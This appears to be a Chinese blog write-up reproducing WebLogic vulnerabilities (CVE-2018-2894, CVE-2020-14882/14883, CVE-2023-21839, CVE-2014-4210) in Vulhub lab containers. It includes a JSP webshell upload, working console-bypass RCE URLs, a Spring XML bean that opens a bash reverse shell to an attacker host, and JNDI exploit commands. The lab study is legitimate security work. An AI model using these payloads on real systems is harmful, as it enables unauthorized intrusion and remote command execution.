首页 > 其他分享 >Vulhub WebLogic漏洞复现

Vulhub WebLogic漏洞复现

时间:2024-06-13 21:57:18浏览次数:10  
标签:Vulhub 12.2 漏洞 2020 WebLogic 复现 weblogic CVE

目录

前言

前面两篇针对WebLogic存在的XMLDecoder和T3协议反序列化漏洞进行了分析和复现,这里继续借助vulhub来复现WebLogic的其他漏洞。

任意文件上传漏洞(CVE-2018-2894)

漏洞编号为CVE-2018-2894,WebLogic管理端未授权的页面存在任意上传文件漏洞,可直接getshell获取权限。

影响版本:weblogic:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

复现环境:

cd ./vulhub/weblogic/CVE-2018-2894
docker compose up -d

首先执行docker compose logs | grep password查看管理员weblogic的密码,登录后台页面。

image

依次点击:base_domain -> 高级 -> 启用Web服务测试页 -> 保存

image

访问/ws_utc/config.do设置 Work Home Dir 为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后尝试上传一个哥斯拉的jsp木马:

image

使用Burp拦截上传提交请求:

image

可以看到上传文件的路径/ws_utc/css/config/keystore/和一个时间戳timestamp,然后这个时间戳会和上传的文件的文件名合成一个新的文件名[时间戳]_[文件名],比如1717844040229_ggggg.jsp。

尝试使用哥斯拉连接webshell:

http://192.168.88.150:7001/ws_utc/css/config/keystore/1717844040229_ggggg.jsp

image

哥斯拉连接成功。

管理控制台未授权RCE漏洞(CVE-2020-14882 & CVE-2020-14883)

这个漏洞是由CVE-2020-14883权限绕过漏洞和代码执行漏洞CVE-2020-14882组合起来造成的。可以实现未授权的用户绕过管理控制台的权限验证访问后台,通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本:weblogic 10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0

复现环境:

cd ./vulhub/weblogic/CVE-2020-14882
docker compose up -d

首先CVE-2020-14883允许未授权访问后台:

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

image

然后利用CVE-2020-14882远程执行代码:

方式一:

利用com.tangosol.coherence.mvel2.sh.ShellSession直接执行命令。但是这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在这个类。

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping a98lh6.dnslog.cn%27);%22)

image

方式二:

利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext加载并执行远程的xml文件,这也是一种更加普遍的方式。

首先需要构造一个xml文件,用来反弹shell:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.88.150/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

在服务器起一个 python http.server 使靶机可以访问到该xml文件:

python -m http.server 8000

image

尝试通过FileSystemXmlApplicationContext执行远端xml文件:

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.150:8000/exp.xml")

监听1234端口拿到反弹shell:

image

该方法的好处在于weblogic版本限制小,在12.2.1.3以及10.3.6版本都可以执行。

未授权RCE漏洞(CVE-2023-21839)

漏洞编号为CVE-2023-21839,允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。

影响版本:weblogic:12.2.1.3.0,12.2.1.4.0,14.1.1.0.0

复现环境:

cd ./vulhub/weblogic/CVE-2023-21839
docker compose up -d

JNDI注入的利用:

首先需要使用 JNDIExploit-1.2-SNAPSHOT.jar 启动一个LADP服务默认监听在1389端口,8080端口实现恶意类的加载。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.88.128

-i 指定LDAP服务的IP地址(本机)

image

然后使用 Weblogic-CVE-2023-21839.jar 工具,这里利用LDAP服务的/Basic/ReverseShell/达到反弹shell的目的。

image

执行exp向靶机进行JNDI注入:

java -jar Weblogic-CVE-2023-21839.jar weblogic-ip:7001 ldap://ldapserver-ip:1389/Basic/ReverseShell/nc-ip:nc-port

image

靶机被攻击后,会向LDAP服务端进行LDAP查询请求,然后LDAP服务端将请求重定向到8080端口的http服务,靶机再去请求LDAP服务端的8080端口加载反弹shell的恶意类。

image

当shell的恶意类的类被执行后,监听1234端口拿到shell:

image

此漏洞有是出在T3和IIOP协议上,所以禁用T3和IIOP协议真的很有必要。

SSRF漏洞(CVE-2014-4210)

漏洞编号为CVE-2014-4210,服务端请求伪造SSRF漏洞出现uddiexplorer.war下的 SearchPublicRegistries.jsp

影响版本:weblogic 10.0.2,10.3.6

漏洞环境:

cd ./vulhub/weblogic/ssrf
docker compose up -d

SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp页面:

image

使用Burp拦截,可以看到operator参数是一个UR地址,试着访问一下本地http://127.0.0.1:7001

image

随便修改为一个不存在的端口:

image

回显了不同的内容,所以可以通过回显错误的不同,探测内网状态。

靶场还提供了一个注入HTTP头,利用Redis反弹shell的环境。通过注入CRLF(%0a%0d)利用redis通过换行符来分隔每条命令的特点,来攻击内网中的redis服务器。

但比较可惜的是,我复现的这个环境采用的是POST传数据,没有CRLF注入HTTP头部的这个利用点。


vulhub还提供了一个后台存在一个弱口令,并且前台存在任意文件读取漏洞。

主要就是获取账户的明文密码,爆破弱口令就全靠字典的强弱了(和亿点运气)。或者是读取后台用户密文与密钥文件SerializedSystemIni.dat进行破解明文密码。如果可以读敏感文件比如passwd和shadow文件,可以进行hash破解获取明文密码(这个不是后台密码)。

参考文章:
https://vulhub.org/#/environments/

若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:Vulhub,12.2,漏洞,2020,WebLogic,复现,weblogic,CVE
From: https://www.cnblogs.com/smileleooo/p/18238811

相关文章

  • 红日复现为什么失败之struct漏洞复现
    struts2漏洞一、指纹识别s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名部署在根目录下,工程名可为空;当然namespace名称也可设置为空;拓展名也可设置为空。方法一(1)url会有.action或.do后缀文件名(eg:http://192.168.xx.xx/integ......
  • vulhub - INFOSEC PREP: OSCP
    vulhub-INFOSECPREP:OSCP信息收集nmap192.168.157.0/24nmap-sT--min-rate10000-p-192.168.157.162sudonmap-sT-sV-sC-O-p22,80,33060192.168.157.162ssh登录明显看到web页面有./secret.txt文件web首页提到了唯一用户oscp私钥登录失败因为我的......
  • CSRF漏洞复现及测试工具讲解
    一、Python编写一个存在CSRF漏洞①编写html网页<!DOCTYPEhtml><html><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>转账</title......
  • 【护网必备】外网打点必备-WeblogicTool
    项目介绍迫于目前现有的weblogic工具没怎么更新、payloayjdk适用版本等问题,所以基于superman18、sp4zcmd等项目,写一个weblogic工具,工具运行版本要求jdk8(深信服深蓝实验室天威战队强力驱动)支持漏洞CVE-2023-21931(JNDI)CVE-2023-21839(JNDI)CVE-2020-2551(JRMP)CVE-2020-2551......
  • 论文复现---BeatGAN
    论文复现---BeatGAN原创 小王搬运工 时序课堂 2024-06-1110:02 四川BeatGAN:AnomalousRhythmDetectionusingAdversariallyGeneratedTime SeriesBeatGAN:使用对抗生成时间序列的异常心律检测https://github.com/Vniex/BeatGANPyTorch(1.0.0)scikit......
  • CISCN2024 初赛 wp 部分复现(Re)
    Misc1.火锅链观光打卡答题即可Re1.asm_re感谢智谱清言,可以读出大致加密算法这是输入这是加密部分这里判断找到疑似密文的部分,手动改一下端序#asm_wpdefdec(char):return(((char-0x1E)^0x4D)-0x14)//0x50#return(ord(char)*0x50+0......
  • WebLogic XMLDecoder反序列化漏洞
    目录前言XMLDecoder概述XMLDecoder反序列化漏洞漏洞复现前言上篇复现了T3反序列化漏洞,XMLDecoder反序列化在WebLogic中也是一类影响很大的反序化漏洞。XMLDecoder概述XMLDecoder是JDK自带的以SAX方式解析xml的类,实现java对象和xml文件之间的转化。其中序列化过程是将java对象......
  • 【EI复现】考虑灵活性的数据中心微网两阶段鲁棒规划方法(Matlab代码实现)
     ......
  • PHP-CGI Windows平台远程代码执行漏洞复现(CVE-2024-4577)
    0x01产品简介PHP-CGI 是一种用于在 Web 服务器上运行 PHP 脚本的接口,通过 CGI(公共网关接口)将 PHP 解释器与 Web 服务器连接。0x02漏洞概述2024年6月,PHP官方发布新版本,修复了 PHP-CGI 中一个远程代码执行漏洞。鉴于该漏洞无前置条件,易于利用,且默认情况下可获取......
  • 【无人机控制】基于PID的四轮麦克纳姆移动机器人控制系统的研究与实现附matlab复现
     ✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,代码获取、论文复现及科研仿真合作可私信。......